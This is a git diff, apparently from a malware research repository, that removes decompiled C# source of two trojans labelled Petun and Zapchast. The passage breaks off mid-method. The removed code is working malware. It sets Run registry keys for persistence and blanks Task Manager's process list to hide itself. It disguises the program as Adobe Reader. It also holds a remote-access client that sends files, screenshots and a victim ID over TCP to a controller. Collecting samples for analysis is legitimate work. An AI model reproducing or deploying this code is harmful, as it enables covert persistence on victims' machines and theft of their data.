System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/ROS.cs deleted file mode 100644 index 44bec589..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: VIP Beta, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A8E387DC-8A6A-4BD3-92A3-0B30F1158D9C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\wqJGdNXd", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.PlkNtLxCb, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index 09417a0a..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {BE443522-8A0A-4734-B30F-C0CAD667619C} - WinExe - VIP Beta - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index edd4fc28..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VIP Beta", "Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121.csproj", "{BE443522-8A0A-4734-B30F-C0CAD667619C}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {BE443522-8A0A-4734-B30F-C0CAD667619C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {BE443522-8A0A-4734-B30F-C0CAD667619C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {BE443522-8A0A-4734-B30F-C0CAD667619C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {BE443522-8A0A-4734-B30F-C0CAD667619C}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/ZlCDYaj.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/ZlCDYaj.cs deleted file mode 100644 index 0868671c..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/ZlCDYaj.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ZlCDYaj -// Assembly: VIP Beta, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A8E387DC-8A6A-4BD3-92A3-0B30F1158D9C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121.exe - -using System; -using System.Threading; - -internal class ZlCDYaj : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public ZlCDYaj(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/bEIWgBPCo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/bEIWgBPCo.cs deleted file mode 100644 index e395e0e3..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/bEIWgBPCo.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: bEIWgBPCo -// Assembly: VIP Beta, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A8E387DC-8A6A-4BD3-92A3-0B30F1158D9C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class bEIWgBPCo -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - bEIWgBPCo.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) bEIWgBPCo.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - bEIWgBPCo.EnumChildWindows(window, new bEIWgBPCo.EnumDelegate(bEIWgBPCo.EnumChildWindows), 0); - } - - public static bool Running - { - get => bEIWgBPCo.t.Enabled; - set - { - if (value) - { - if (bEIWgBPCo.t.Interval != 500) - { - Timer t = bEIWgBPCo.t; - bEIWgBPCo.t.Tick += new EventHandler(bEIWgBPCo.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - bEIWgBPCo.t.Enabled = true; - bEIWgBPCo.t.Start(); - } - } - else - { - bEIWgBPCo.t.Enabled = false; - bEIWgBPCo.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = bEIWgBPCo.GetClass(lngHwnd); - string titleText = bEIWgBPCo.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - bEIWgBPCo.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - bEIWgBPCo.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (bEIWgBPCo.GetWindowTextLength(handle) + 1); - bEIWgBPCo.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/AssemblyInfo.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/AssemblyInfo.cs deleted file mode 100644 index 047a381d..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("Adobe Reader 9.0")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCompany("Trend Micro Inc")] -[assembly: AssemblyTitle("Adobe Systems Incorporated")] -[assembly: ComVisible(false)] -[assembly: AssemblyCopyright("Copyright 1984-2008 Adobe Systems Incorporated and its licensors. All rights reserved.")] -[assembly: AssemblyProduct("Adobe Reader")] -[assembly: NeutralResourcesLanguage("en-US")] -[assembly: AssemblyFileVersion("1.0.1.5")] -[assembly: Guid("b7394fc0-2ef8-4bc9-8123-8ff0d063589b")] -[assembly: AssemblyVersion("1.0.1.5")] diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Client_Dateitransfer.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Client_Dateitransfer.cs deleted file mode 100644 index 1f5d9ea5..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Client_Dateitransfer.cs +++ /dev/null @@ -1,1113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zub.Client_Dateitransfer -// Assembly: zub, Version=1.0.1.5, Culture=neutral, PublicKeyToken=null -// MVID: 48A5438B-11FD-4EEE-88C7-AA931AE92F31 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.Drawing.Imaging; -using System.IO; -using System.Net.Sockets; -using System.Threading; -using System.Windows.Forms; - -namespace zub -{ - public class Client_Dateitransfer - { - public string IpAdresse; - public int Port; - public string VonHier; - public string NachHier; - public TcpListener Tcp_Server; - public TcpClient Tcp_Client; - public string VictimNummer; - public int Qualität; - public int Wartezeit; - private Thread tthread; - - public Client_Dateitransfer() - { - this.Qualität = 400; - this.Wartezeit = 1000; - } - - public void DateiSenden() => new Thread(new ThreadStart(this.clientstart_Senden)) - { - IsBackground = true - }.Start(); - - public void DateiSendenThumb() => new Thread(new ThreadStart(this.clientstart_SendenThumb)) - { - IsBackground = true - }.Start(); - - public void DateiEmfpangen() => new Thread(new ThreadStart(this.clientstart_Empfangen)) - { - IsBackground = true - }.Start(); - - public void DateiEmfpangen_update() => new Thread(new ThreadStart(this.clientstart_Empfangen_update)) - { - IsBackground = true - }.Start(); - - public void ScreenCapp() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - this.tthread = new Thread(new ThreadStart(this.clientstart_Screen)); -label_2: - num3 = 3; - this.tthread.IsBackground = true; -label_3: - num3 = 4; - this.tthread.Start(); - goto label_10; -label_5: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_10; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_5; - } - throw ProjectData.CreateProjectError(-2146828237); -label_10: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void ScreenStopp() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - this.tthread.Abort(); - goto label_8; -label_3: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_8; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_3; - } - throw ProjectData.CreateProjectError(-2146828237); -label_8: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void clientstart_Senden() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - this.Tcp_Client = new TcpClient(); -label_2: - num3 = 3; - this.Tcp_Client.Connect(this.IpAdresse, this.Port); -label_3: - num3 = 4; - BinaryWriter binaryWriter = new BinaryWriter((Stream) this.Tcp_Client.GetStream()); -label_4: - num3 = 5; - BinaryReader binaryReader = new BinaryReader((Stream) this.Tcp_Client.GetStream()); -label_5: - num3 = 6; - Client_Dateitransfer.clienterverParameter parameter = new Client_Dateitransfer.clienterverParameter(); -label_6: - num3 = 7; - parameter.IpAdresse = this.IpAdresse; -label_7: - num3 = 8; - parameter.Port = this.Port; -label_8: - num3 = 9; - parameter.reader = binaryReader; -label_9: - num3 = 10; - parameter.writer = binaryWriter; -label_10: - num3 = 11; - parameter.tcp_c = this.Tcp_Client; -label_11: - num3 = 12; - parameter.socketstream = this.Tcp_Client.GetStream(); -label_12: - num3 = 13; - parameter.tthread = new Thread((ParameterizedThreadStart) (a0 => - { - object obj = a0; - Client_Dateitransfer.clienterverParameter clienterverParameter; - this.clientsendet(obj != null ? (Client_Dateitransfer.clienterverParameter) obj : clienterverParameter); - })); -label_13: - num3 = 14; - parameter.tthread.IsBackground = true; -label_14: - num3 = 15; - parameter.tthread.Start((object) parameter); - goto label_21; -label_16: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_21; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_16; - } - throw ProjectData.CreateProjectError(-2146828237); -label_21: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void clientstart_SendenThumb() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - this.Tcp_Client = new TcpClient(); -label_2: - num3 = 3; - this.Tcp_Client.Connect(this.IpAdresse, this.Port); -label_3: - num3 = 4; - BinaryWriter binaryWriter = new BinaryWriter((Stream) this.Tcp_Client.GetStream()); -label_4: - num3 = 5; - BinaryReader binaryReader = new BinaryReader((Stream) this.Tcp_Client.GetStream()); -label_5: - num3 = 6; - Client_Dateitransfer.clienterverParameter parameter = new Client_Dateitransfer.clienterverParameter(); -label_6: - num3 = 7; - parameter.IpAdresse = this.IpAdresse; -label_7: - num3 = 8; - parameter.Port = this.Port; -label_8: - num3 = 9; - parameter.reader = binaryReader; -label_9: - num3 = 10; - parameter.writer = binaryWriter; -label_10: - num3 = 11; - parameter.tcp_c = this.Tcp_Client; -label_11: - num3 = 12; - parameter.socketstream = this.Tcp_Client.GetStream(); -label_12: - num3 = 13; - parameter.tthread = new Thread((ParameterizedThreadStart) (a0 => - { - object obj = a0; - Client_Dateitransfer.clienterverParameter clienterverParameter; - this.clientsendetThumb(obj != null ? (Client_Dateitransfer.clienterverParameter) obj : clienterverParameter); - })); -label_13: - num3 = 14; - parameter.tthread.IsBackground = true; -label_14: - num3 = 15; - parameter.tthread.Start((object) parameter); - goto label_21; -label_16: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_21; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_16; - } - throw ProjectData.CreateProjectError(-2146828237); -label_21: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void clientstart_Empfangen() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - this.Tcp_Client = new TcpClient(); -label_2: - num3 = 3; - this.Tcp_Client.Connect(this.IpAdresse, this.Port); -label_3: - num3 = 4; - BinaryWriter binaryWriter = new BinaryWriter((Stream) this.Tcp_Client.GetStream()); -label_4: - num3 = 5; - BinaryReader binaryReader = new BinaryReader((Stream) this.Tcp_Client.GetStream()); -label_5: - num3 = 6; - Client_Dateitransfer.clienterverParameter parameter = new Client_Dateitransfer.clienterverParameter(); -label_6: - num3 = 7; - parameter.IpAdresse = this.IpAdresse; -label_7: - num3 = 8; - parameter.Port = this.Port; -label_8: - num3 = 9; - parameter.reader = binaryReader; -label_9: - num3 = 10; - parameter.writer = binaryWriter; -label_10: - num3 = 11; - parameter.tcp_c = this.Tcp_Client; -label_11: - num3 = 12; - parameter.socketstream = this.Tcp_Client.GetStream(); -label_12: - num3 = 13; - parameter.tthread = new Thread((ParameterizedThreadStart) (a0 => - { - object obj = a0; - Client_Dateitransfer.clienterverParameter clienterverParameter; - this.clientempfängt(obj != null ? (Client_Dateitransfer.clienterverParameter) obj : clienterverParameter); - })); -label_13: - num3 = 14; - parameter.tthread.IsBackground = true; -label_14: - num3 = 15; - parameter.tthread.Start((object) parameter); - goto label_21; -label_16: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_21; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_16; - } - throw ProjectData.CreateProjectError(-2146828237); -label_21: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void clientstart_Empfangen_update() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - this.Tcp_Client = new TcpClient(); -label_2: - num3 = 3; - this.Tcp_Client.Connect(this.IpAdresse, this.Port); -label_3: - num3 = 4; - BinaryWriter binaryWriter = new BinaryWriter((Stream) this.Tcp_Client.GetStream()); -label_4: - num3 = 5; - BinaryReader binaryReader = new BinaryReader((Stream) this.Tcp_Client.GetStream()); -label_5: - num3 = 6; - Client_Dateitransfer.clienterverParameter parameter = new Client_Dateitransfer.clienterverParameter(); -label_6: - num3 = 7; - parameter.IpAdresse = this.IpAdresse; -label_7: - num3 = 8; - parameter.Port = this.Port; -label_8: - num3 = 9; - parameter.reader = binaryReader; -label_9: - num3 = 10; - parameter.writer = binaryWriter; -label_10: - num3 = 11; - parameter.tcp_c = this.Tcp_Client; -label_11: - num3 = 12; - parameter.socketstream = this.Tcp_Client.GetStream(); -label_12: - num3 = 13; - parameter.tthread = new Thread((ParameterizedThreadStart) (a0 => - { - object obj = a0; - Client_Dateitransfer.clienterverParameter clienterverParameter; - this.clientempfängt_update(obj != null ? (Client_Dateitransfer.clienterverParameter) obj : clienterverParameter); - })); -label_13: - num3 = 14; - parameter.tthread.IsBackground = true; -label_14: - num3 = 15; - parameter.tthread.Start((object) parameter); - goto label_21; -label_16: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_21; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_16; - } - throw ProjectData.CreateProjectError(-2146828237); -label_21: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void clientsendet( - Client_Dateitransfer.clienterverParameter parameter) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; -label_2: - num3 = 3; - FileStream fileStream = new FileStream(this.VonHier, FileMode.Open); -label_3: - num3 = 4; - byte[] numArray = new byte[checked ((int) (fileStream.Length - 1L) + 1)]; -label_4: - num3 = 5; - fileStream.Read(numArray, 0, numArray.Length); -label_5: - num3 = 6; - fileStream.Close(); -label_6: - num3 = 7; - parameter.writer.Write("SendFile"); -label_7: - num3 = 8; - parameter.writer.Write(this.VictimNummer); -label_8: - num3 = 9; - parameter.writer.Write(this.VonHier); -label_9: - num3 = 10; - parameter.writer.Write(this.NachHier); -label_10: - num3 = 11; - parameter.writer.Write(numArray.Length); -label_11: - num3 = 12; - parameter.writer.Write(numArray); -label_12: - num3 = 13; - parameter.writer.Close(); -label_13: - num3 = 14; - parameter.reader.Close(); -label_14: - num3 = 15; - parameter.tcp_c.Close(); -label_15: - num3 = 16; - parameter.socketstream.Close(); -label_16: - num3 = 17; - parameter.tthread.Abort(); - goto label_23; -label_18: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 